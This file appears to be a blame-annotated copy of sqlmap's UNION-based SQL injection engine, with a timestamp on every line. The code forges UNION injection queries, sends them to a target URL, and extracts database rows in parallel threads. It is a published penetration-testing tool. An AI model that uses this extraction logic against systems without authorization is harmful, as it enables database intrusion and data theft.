2013-02-14 15:32:17 +04:00
#!/usr/bin/env python
2008-10-15 19:38:22 +04:00
"""
2018-01-02 02:48:10 +03:00
Copyright ( c ) 2006 - 2018 sqlmap developers ( http : / / sqlmap . org / )
2017-10-11 15:50:46 +03:00
See the file ' LICENSE ' for copying permission
2008-10-15 19:38:22 +04:00
"""
2016-07-15 00:18:28 +03:00
import binascii
2008-12-10 20:23:07 +03:00
import re
2008-10-15 19:38:22 +04:00
import time
2016-07-15 00:18:28 +03:00
import xml . etree . ElementTree
2008-10-15 19:38:22 +04:00
2012-02-22 14:40:11 +04:00
from extra . safe2bin . safe2bin import safecharencode
2008-10-15 19:38:22 +04:00
from lib . core . agent import agent
2012-02-16 13:46:41 +04:00
from lib . core . bigarray import BigArray
2012-03-19 16:00:22 +04:00
from lib . core . common import arrayizeValue
2011-01-28 19:36:09 +03:00
from lib . core . common import Backend
2011-01-31 15:41:39 +03:00
from lib . core . common import calculateDeltaSeconds
2011-03-26 00:31:26 +03:00
from lib . core . common import clearConsoleLine
from lib . core . common import dataToStdout
2011-03-17 11:54:20 +03:00
from lib . core . common import extractRegexResult
2018-07-27 01:53:14 +03:00
from lib . core . common import firstNotNone
2012-04-03 17:56:11 +04:00
from lib . core . common import flattenValue
2011-04-13 18:33:15 +04:00
from lib . core . common import getConsoleWidth
2013-02-03 15:31:05 +04:00
from lib . core . common import getPartRun
2010-06-02 16:45:40 +04:00
from lib . core . common import getUnicode
2012-02-24 17:07:20 +04:00
from lib . core . common import hashDBRetrieve
from lib . core . common import hashDBWrite
2011-12-21 15:50:49 +04:00
from lib . core . common import incrementCounter
2011-01-12 01:18:47 +03:00
from lib . core . common import initTechnique
2013-01-04 20:09:07 +04:00
from lib . core . common import isListLike
2012-03-14 17:16:49 +04:00
from lib . core . common import isNoneValue
2011-01-19 02:02:11 +03:00
from lib . core . common import isNumPosStrValue
2011-01-31 15:41:39 +03:00
from lib . core . common import listToStrValue
2008-12-10 20:23:07 +03:00
from lib . core . common import parseUnionPage
2011-02-25 12:22:44 +03:00
from lib . core . common import removeReflectiveValues
2012-12-19 17:21:16 +04:00
from lib . core . common import singleTimeDebugMessage
2011-06-08 18:35:23 +04:00
from lib . core . common import singleTimeWarnMessage
2012-12-29 13:35:05 +04:00
from lib . core . common import unArrayizeValue
2013-01-29 23:53:11 +04:00
from lib . core . common import wasLastResponseDBMSError
2012-02-29 19:02:24 +04:00
from lib . core . convert import htmlunescape
2008-10-15 19:38:22 +04:00
from lib . core . data import conf
from lib . core . data import kb
from lib . core . data import logger
2008-12-10 20:23:07 +03:00
from lib . core . data import queries
2012-08-21 13:19:15 +04:00
from lib . core . dicts import FROM_DUMMY_TABLE
2010-11-08 12:20:02 +03:00
from lib . core . enums import DBMS
2018-03-08 19:44:15 +03:00
from lib . core . enums import HTTP_HEADER
2011-01-12 01:18:47 +03:00
from lib . core . enums import PAYLOAD
2015-11-20 13:32:54 +03:00
from lib . core . exception import SqlmapDataException
2012-12-06 17:14:19 +04:00
from lib . core . exception import SqlmapSyntaxException
2013-12-27 12:40:33 +04:00
from lib . core . settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH
2016-07-15 00:18:28 +03:00
from lib . core . settings import NULL
2011-05-19 20:45:05 +04:00
from lib . core . settings import SQL_SCALAR_REGEX
2011-04-22 23:58:10 +04:00
from lib . core . settings import TURN_OFF_RESUME_INFO_LIMIT
2016-07-20 17:49:27 +03:00
from lib . core . settings import UNICODE_ENCODING
2011-05-30 03:17:50 +04:00
from lib . core . threads import getCurrentThreadData
from lib . core . threads import runThreads
2008-10-15 19:38:22 +04:00
from lib . core . unescaper import unescaper
from lib . request . connect import Connect as Request
2013-05-13 16:50:03 +04:00
from lib . utils . progress import ProgressBar
2014-08-14 00:50:42 +04:00
from thirdparty . odict . odict import OrderedDict
2008-10-15 19:38:22 +04:00
2012-12-06 17:14:19 +04:00
def _oneShotUnionUse ( expression , unpack = True , limited = False ) :
2016-02-13 23:03:05 +03:00
retVal = hashDBRetrieve ( " %s %s " % ( conf . hexConvert or False , expression ) , checkConf = True ) # as UNION data is stored raw unconverted
2011-09-26 00:36:32 +04:00
2011-10-12 02:40:00 +04:00
threadData = getCurrentThreadData ( )
threadData . resumed = retVal is not None
2011-10-12 01:58:57 +04:00
if retVal is None :
2011-09-26 00:36:32 +04:00
vector = kb . injection . data [ PAYLOAD . TECHNIQUE . UNION ] . vector
2016-07-15 00:18:28 +03:00
if not kb . rowXmlMode :
injExpression = unescaper . escape ( agent . concatQuery ( expression , unpack ) )
kb . unionDuplicates = vector [ 7 ]
kb . forcePartialUnion = vector [ 8 ]
query = agent . forgeUnionQuery ( injExpression , vector [ 0 ] , vector [ 1 ] , vector [ 2 ] , vector [ 3 ] , vector [ 4 ] , vector [ 5 ] , vector [ 6 ] , None , limited )
where = PAYLOAD . WHERE . NEGATIVE if conf . limitStart or conf . limitStop else vector [ 6 ]
else :
where = vector [ 6 ]
query = agent . forgeUnionQuery ( expression , vector [ 0 ] , vector [ 1 ] , vector [ 2 ] , vector [ 3 ] , vector [ 4 ] , vector [ 5 ] , vector [ 6 ] , None , False )
2011-09-26 00:36:32 +04:00
payload = agent . payload ( newValue = query , where = where )
# Perform the request
2017-06-05 17:28:19 +03:00
page , headers , _ = Request . queryPage ( payload , content = True , raise404 = False )
2011-09-26 00:36:32 +04:00
2011-12-21 15:50:49 +04:00
incrementCounter ( PAYLOAD . TECHNIQUE . UNION )
2011-09-26 00:36:32 +04:00
2016-07-15 00:18:28 +03:00
if not kb . rowXmlMode :
# Parse the returned page to get the exact UNION-based
# SQL injection output
def _ ( regex ) :
2018-07-27 01:53:14 +03:00
return firstNotNone (
extractRegexResult ( regex , removeReflectiveValues ( page , payload ) , re . DOTALL | re . IGNORECASE ) ,
extractRegexResult ( regex , removeReflectiveValues ( listToStrValue ( ( _ for _ in headers . headers if not _ . startswith ( HTTP_HEADER . URI ) ) if headers else None ) , payload , True ) , re . DOTALL | re . IGNORECASE )
)
2016-07-15 00:18:28 +03:00
# Automatically patching last char trimming cases
if kb . chars . stop not in ( page or " " ) and kb . chars . stop [ : - 1 ] in ( page or " " ) :
warnMsg = " automatically patching output having last char trimmed "
singleTimeWarnMessage ( warnMsg )
page = page . replace ( kb . chars . stop [ : - 1 ] , kb . chars . stop )
retVal = _ ( " (?P<result> %s .* %s ) " % ( kb . chars . start , kb . chars . stop ) )
else :
2016-07-16 16:51:09 +03:00
output = extractRegexResult ( r " (?P<result>(<row.+?/>)+) " , page )
2016-07-15 00:18:28 +03:00
if output :
2016-07-16 16:51:09 +03:00
try :
2016-07-20 17:49:27 +03:00
root = xml . etree . ElementTree . fromstring ( " <root> %s </root> " % output . encode ( UNICODE_ENCODING ) )
2016-07-16 16:51:09 +03:00
retVal = " "
for column in kb . dumpColumns :
base64 = True
2016-07-15 00:18:28 +03:00
for child in root :
2016-07-21 10:38:52 +03:00
value = child . attrib . get ( column , " " ) . strip ( )
if value and not re . match ( r " \ A[a-zA-Z0-9+/]+= { 0,2} \ Z " , value ) :
base64 = False
break
2016-07-16 16:51:09 +03:00
try :
2016-07-21 10:38:52 +03:00
value . decode ( " base64 " )
2016-07-16 16:51:09 +03:00
except binascii . Error :
base64 = False
break
2016-07-15 00:18:28 +03:00
2016-07-16 16:51:09 +03:00
if base64 :
for child in root :
child . attrib [ column ] = child . attrib . get ( column , " " ) . decode ( " base64 " ) or NULL
for child in root :
row = [ ]
for column in kb . dumpColumns :
row . append ( child . attrib . get ( column , NULL ) )
retVal + = " %s %s %s " % ( kb . chars . start , kb . chars . delimiter . join ( row ) , kb . chars . stop )
2016-07-23 16:27:25 +03:00
except :
2016-07-16 16:51:09 +03:00
pass
2016-07-20 17:49:27 +03:00
else :
retVal = getUnicode ( retVal )
2011-09-26 00:36:32 +04:00
if retVal is not None :
retVal = getUnicode ( retVal , kb . pageEncoding )
2012-02-29 19:02:24 +04:00
2016-02-13 23:03:05 +03:00
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
2013-01-29 23:53:11 +04:00
if Backend . isDbms ( DBMS . MSSQL ) and wasLastResponseDBMSError ( ) :
2012-02-29 19:02:24 +04:00
retVal = htmlunescape ( retVal ) . replace ( " <br> " , " \n " )
2012-05-09 18:00:07 +04:00
2015-11-25 12:12:07 +03:00
hashDBWrite ( " %s %s " % ( conf . hexConvert or False , expression ) , retVal )
2016-07-15 00:18:28 +03:00
elif not kb . rowXmlMode :
2012-06-29 12:31:03 +04:00
trimmed = _ ( " %s (?P<result>.*?)< " % ( kb . chars . start ) )
2011-09-26 00:36:32 +04:00
if trimmed :
2013-01-15 16:51:19 +04:00
warnMsg = " possible server trimmed output detected "
warnMsg + = " (probably due to its length and/or content): "
2012-07-30 23:43:32 +04:00
warnMsg + = safecharencode ( trimmed )
2011-09-26 00:36:32 +04:00
logger . warn ( warnMsg )
2015-11-25 12:21:32 +03:00
else :
vector = kb . injection . data [ PAYLOAD . TECHNIQUE . UNION ] . vector
kb . unionDuplicates = vector [ 7 ]
2011-09-26 00:36:32 +04:00
return retVal
2011-02-02 01:07:42 +03:00
2011-01-20 01:48:06 +03:00
def configUnion ( char = None , columns = None ) :
2012-12-06 17:14:19 +04:00
def _configUnionChar ( char ) :
2011-05-10 19:34:54 +04:00
if not isinstance ( char , basestring ) :
return
kb . uChar = char
if conf . uChar is not None :
kb . uChar = char . replace ( " [CHAR] " , conf . uChar if conf . uChar . isdigit ( ) else " ' %s ' " % conf . uChar . strip ( " ' " ) )
2011-01-18 01:57:33 +03:00
2012-12-06 17:14:19 +04:00
def _configUnionCols ( columns ) :
2011-05-10 19:34:54 +04:00
if not isinstance ( columns , basestring ) :
return
2011-01-20 01:48:06 +03:00
columns = columns . replace ( " " , " " )
2011-06-18 14:51:14 +04:00
if " - " in columns :
colsStart , colsStop = columns . split ( " - " )
else :
colsStart , colsStop = columns , columns
2011-01-18 01:57:33 +03:00
2011-01-25 16:04:13 +03:00
if not colsStart . isdigit ( ) or not colsStop . isdigit ( ) :
2013-01-04 02:20:55 +04:00
raise SqlmapSyntaxException ( " --union-cols must be a range of integers " )
2011-01-18 01:57:33 +03:00
2011-12-21 15:50:49 +04:00
conf . uColsStart , conf . uColsStop = int ( colsStart ) , int ( colsStop )
2011-01-18 01:57:33 +03:00
2011-01-20 01:48:06 +03:00
if conf . uColsStart > conf . uColsStop :
errMsg = " --union-cols range has to be from lower to "
errMsg + = " higher number of columns "
2013-01-04 02:20:55 +04:00
raise SqlmapSyntaxException ( errMsg )
2011-01-18 01:57:33 +03:00
2012-12-06 17:14:19 +04:00
_configUnionChar ( char )
_configUnionCols ( conf . uCols or columns )
2011-01-18 01:57:33 +03:00
2011-02-07 01:32:44 +03:00
def unionUse ( expression , unpack = True , dump = False ) :
2008-10-15 19:38:22 +04:00
"""
2016-02-13 23:03:05 +03:00
This function tests for an UNION SQL injection on the target
2013-04-09 13:48:42 +04:00
URL then call its subsidiary function to effectively perform an
2016-02-13 23:03:05 +03:00
UNION SQL injection on the affected URL
2008-10-15 19:38:22 +04:00
"""
2011-01-12 01:18:47 +03:00
initTechnique ( PAYLOAD . TECHNIQUE . UNION )
2012-02-03 14:38:04 +04:00
abortedFlag = False
2011-01-19 02:02:11 +03:00
count = None
origExpr = expression
2008-12-10 20:23:07 +03:00
startLimit = 0
2011-01-19 02:02:11 +03:00
stopLimit = None
2012-02-23 17:31:50 +04:00
value = None
2011-12-21 15:50:49 +04:00
2011-04-13 18:33:15 +04:00
width = getConsoleWidth ( )
2011-02-02 01:07:42 +03:00
start = time . time ( )
2008-12-10 20:23:07 +03:00
2011-02-02 01:07:42 +03:00
_ , _ , _ , _ , _ , expressionFieldsList , expressionFields , _ = agent . getFields ( origExpr )
2008-12-10 20:23:07 +03:00
2013-02-03 15:31:05 +04:00
# Set kb.partRun in case the engine is called from the API
2017-04-10 20:21:22 +03:00
kb . partRun = getPartRun ( alias = False ) if conf . api else None
2013-02-03 15:31:05 +04:00
2016-07-15 00:18:28 +03:00
if Backend . isDbms ( DBMS . MSSQL ) and kb . dumpColumns :
kb . rowXmlMode = True
_ = " ( %s FOR XML RAW, BINARY BASE64) " % expression
output = _oneShotUnionUse ( _ , False )
value = parseUnionPage ( output )
kb . rowXmlMode = False
2012-12-19 17:21:16 +04:00
if expressionFieldsList and len ( expressionFieldsList ) > 1 and " ORDER BY " in expression . upper ( ) :
# Removed ORDER BY clause because UNION does not play well with it
2017-10-31 13:38:09 +03:00
expression = re . sub ( r " (?i) \ s*ORDER BY \ s+[ \ w,]+ " , " " , expression )
2012-12-19 17:21:16 +04:00
debugMsg = " stripping ORDER BY clause from statement because "
debugMsg + = " it does not play well with UNION query SQL injection "
singleTimeDebugMessage ( debugMsg )
2011-02-02 01:07:42 +03:00
# We have to check if the SQL query might return multiple entries
2012-12-19 16:17:56 +04:00
# if the technique is partial UNION query and in such case forge the
# SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table can
2011-02-02 01:07:42 +03:00
# return multiple entries
2018-03-13 15:45:42 +03:00
if value is None and ( kb . injection . data [ PAYLOAD . TECHNIQUE . UNION ] . where == PAYLOAD . WHERE . NEGATIVE or kb . forcePartialUnion or ( dump and ( conf . limitStart or conf . limitStop ) ) or " LIMIT " in expression . upper ( ) ) and " FROM " in expression . upper ( ) and ( ( Backend . getIdentifiedDbms ( ) not in FROM_DUMMY_TABLE ) or ( Backend . getIdentifiedDbms ( ) in FROM_DUMMY_TABLE and not expression . upper ( ) . endswith ( FROM_DUMMY_TABLE [ Backend . getIdentifiedDbms ( ) ] ) ) ) and not re . search ( SQL_SCALAR_REGEX , expression , re . I ) :
2012-12-19 16:17:56 +04:00
expression , limitCond , topLimit , startLimit , stopLimit = agent . limitCondition ( expression , dump )
2008-10-15 19:38:22 +04:00
2011-02-02 01:07:42 +03:00
if limitCond :
# Count the number of SQL query entries output
2012-11-15 18:06:54 +04:00
countedExpression = expression . replace ( expressionFields , queries [ Backend . getIdentifiedDbms ( ) ] . count . query % ( ' * ' if len ( expressionFieldsList ) > 1 else expressionFields ) , 1 )
2011-02-02 01:07:42 +03:00
2012-02-01 14:14:23 +04:00
if " ORDER BY " in countedExpression . upper ( ) :
_ = countedExpression . upper ( ) . rindex ( " ORDER BY " )
countedExpression = countedExpression [ : _ ]
2011-02-02 01:07:42 +03:00
2012-12-06 17:14:19 +04:00
output = _oneShotUnionUse ( countedExpression , unpack )
2012-12-29 13:35:05 +04:00
count = unArrayizeValue ( parseUnionPage ( output ) )
2011-02-02 01:07:42 +03:00
2011-05-12 15:36:02 +04:00
if isNumPosStrValue ( count ) :
2011-02-02 01:07:42 +03:00
if isinstance ( stopLimit , int ) and stopLimit > 0 :
stopLimit = min ( int ( count ) , int ( stopLimit ) )
else :
stopLimit = int ( count )
2017-12-04 15:59:35 +03:00
infoMsg = " used SQL query returns "
2018-12-04 00:59:46 +03:00
infoMsg + = " %d %s " % ( stopLimit , " entries " if stopLimit > 1 else " entry " )
2011-02-02 01:07:42 +03:00
logger . info ( infoMsg )
2011-02-25 12:22:44 +03:00
2012-02-01 16:28:06 +04:00
elif count and ( not isinstance ( count , basestring ) or not count . isdigit ( ) ) :
2011-05-12 15:36:02 +04:00
warnMsg = " it was not possible to count the number "
2011-08-02 12:39:32 +04:00
warnMsg + = " of entries for the SQL query provided. "
2011-05-12 15:36:02 +04:00
warnMsg + = " sqlmap will assume that it returns only "
warnMsg + = " one entry "
logger . warn ( warnMsg )
stopLimit = 1
2012-12-19 15:40:00 +04:00
elif ( not count or int ( count ) == 0 ) :
2012-01-07 21:45:45 +04:00
if not count :
warnMsg = " the SQL query provided does not "
warnMsg + = " return any output "
logger . warn ( warnMsg )
2012-05-09 14:34:21 +04:00
else :
value = [ ] # for empty tables
2011-08-02 21:31:13 +04:00
return value
2011-08-02 12:39:32 +04:00
2017-06-07 12:22:06 +03:00
if isNumPosStrValue ( count ) and int ( count ) > 1 :
threadData = getCurrentThreadData ( )
try :
threadData . shared . limits = iter ( xrange ( startLimit , stopLimit ) )
except OverflowError :
errMsg = " boundary limits ( %d , %d ) are too large. Please rerun " % ( startLimit , stopLimit )
errMsg + = " with switch ' --fresh-queries ' "
raise SqlmapDataException ( errMsg )
numThreads = min ( conf . threads , ( stopLimit - startLimit ) )
threadData . shared . value = BigArray ( )
threadData . shared . buffered = [ ]
threadData . shared . counter = 0
threadData . shared . lastFlushed = startLimit - 1
threadData . shared . showEta = conf . eta and ( stopLimit - startLimit ) > 1
if threadData . shared . showEta :
threadData . shared . progress = ProgressBar ( maxValue = ( stopLimit - startLimit ) )
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT :
kb . suppressResumeInfo = True
debugMsg = " suppressing possible resume console info because of "
debugMsg + = " large number of rows. It might take too long "
logger . debug ( debugMsg )
try :
def unionThread ( ) :
threadData = getCurrentThreadData ( )
while kb . threadContinue :
with kb . locks . limit :
try :
threadData . shared . counter + = 1
num = threadData . shared . limits . next ( )
except StopIteration :
break
if Backend . getIdentifiedDbms ( ) in ( DBMS . MSSQL , DBMS . SYBASE ) :
field = expressionFieldsList [ 0 ]
elif Backend . isDbms ( DBMS . ORACLE ) :
field = expressionFieldsList
else :
field = None
limitedExpr = agent . limitQuery ( num , expression , field )
output = _oneShotUnionUse ( limitedExpr , unpack , True )
if not kb . threadContinue :
2012-06-14 17:50:36 +04:00
break
2011-06-07 13:50:00 +04:00
2017-06-07 12:22:06 +03:00
if output :
with kb . locks . value :
if all ( _ in output for _ in ( kb . chars . start , kb . chars . stop ) ) :
items = parseUnionPage ( output )
if threadData . shared . showEta :
2018-07-05 16:13:51 +03:00
threadData . shared . progress . progress ( threadData . shared . counter )
2017-06-07 12:22:06 +03:00
if isListLike ( items ) :
# in case that we requested N columns and we get M!=N then we have to filter a bit
if len ( items ) > 1 and len ( expressionFieldsList ) > 1 :
items = [ item for item in items if isListLike ( item ) and len ( item ) == len ( expressionFieldsList ) ]
items = [ _ for _ in flattenValue ( items ) ]
if len ( items ) > len ( expressionFieldsList ) :
filtered = OrderedDict ( )
for item in items :
key = re . sub ( r " [^A-Za-z0-9] " , " " , item ) . lower ( )
if key not in filtered or re . search ( r " [^A-Za-z0-9] " , item ) :
filtered [ key ] = item
items = filtered . values ( )
items = [ items ]
index = None
for index in xrange ( 1 + len ( threadData . shared . buffered ) ) :
if index < len ( threadData . shared . buffered ) and threadData . shared . buffered [ index ] [ 0 ] > = num :
break
threadData . shared . buffered . insert ( index or 0 , ( num , items ) )
else :
index = None
if threadData . shared . showEta :
2018-07-05 16:13:51 +03:00
threadData . shared . progress . progress ( threadData . shared . counter )
2017-06-07 12:22:06 +03:00
for index in xrange ( 1 + len ( threadData . shared . buffered ) ) :
if index < len ( threadData . shared . buffered ) and threadData . shared . buffered [ index ] [ 0 ] > = num :
break
threadData . shared . buffered . insert ( index or 0 , ( num , None ) )
items = output . replace ( kb . chars . start , " " ) . replace ( kb . chars . stop , " " ) . split ( kb . chars . delimiter )
while threadData . shared . buffered and ( threadData . shared . lastFlushed + 1 > = threadData . shared . buffered [ 0 ] [ 0 ] or len ( threadData . shared . buffered ) > MAX_BUFFERED_PARTIAL_UNION_LENGTH ) :
threadData . shared . lastFlushed , _ = threadData . shared . buffered [ 0 ]
if not isNoneValue ( _ ) :
threadData . shared . value . extend ( arrayizeValue ( _ ) )
del threadData . shared . buffered [ 0 ]
if conf . verbose == 1 and not ( threadData . resumed and kb . suppressResumeInfo ) and not threadData . shared . showEta :
2018-12-17 17:15:54 +03:00
_ = ' , ' . join ( " ' %s ' " % _ for _ in ( flattenValue ( arrayizeValue ( items ) ) if not isinstance ( items , basestring ) else [ items ] ) )
2017-06-07 12:22:06 +03:00
status = " [ %s ] [INFO] %s : %s " % ( time . strftime ( " %X " ) , " resumed " if threadData . resumed else " retrieved " , _ if kb . safeCharEncode else safecharencode ( _ ) )
if len ( status ) > width :
status = " %s ... " % status [ : width - 3 ]
dataToStdout ( " %s \n " % status )
runThreads ( numThreads , unionThread )
if conf . verbose == 1 :
clearConsoleLine ( True )
except KeyboardInterrupt :
abortedFlag = True
warnMsg = " user aborted during enumeration. sqlmap "
warnMsg + = " will display partial output "
logger . warn ( warnMsg )
2008-10-15 19:38:22 +04:00
2017-06-07 12:22:06 +03:00
finally :
for _ in sorted ( threadData . shared . buffered ) :
if not isNoneValue ( _ [ 1 ] ) :
threadData . shared . value . extend ( arrayizeValue ( _ [ 1 ] ) )
value = threadData . shared . value
kb . suppressResumeInfo = False
2011-04-22 23:58:10 +04:00
2012-02-03 14:38:04 +04:00
if not value and not abortedFlag :
2013-03-19 13:42:20 +04:00
output = _oneShotUnionUse ( expression , unpack )
value = parseUnionPage ( output )
2008-10-15 19:38:22 +04:00
2011-02-02 01:07:42 +03:00
duration = calculateDeltaSeconds ( start )
2008-10-15 19:38:22 +04:00
2011-04-08 15:02:21 +04:00
if not kb . bruteMode :
2013-05-28 16:40:45 +04:00
debugMsg = " performed %d queries in %.2f seconds " % ( kb . counters [ PAYLOAD . TECHNIQUE . UNION ] , duration )
2011-04-08 15:02:21 +04:00
logger . debug ( debugMsg )
2008-10-15 19:38:22 +04:00
return value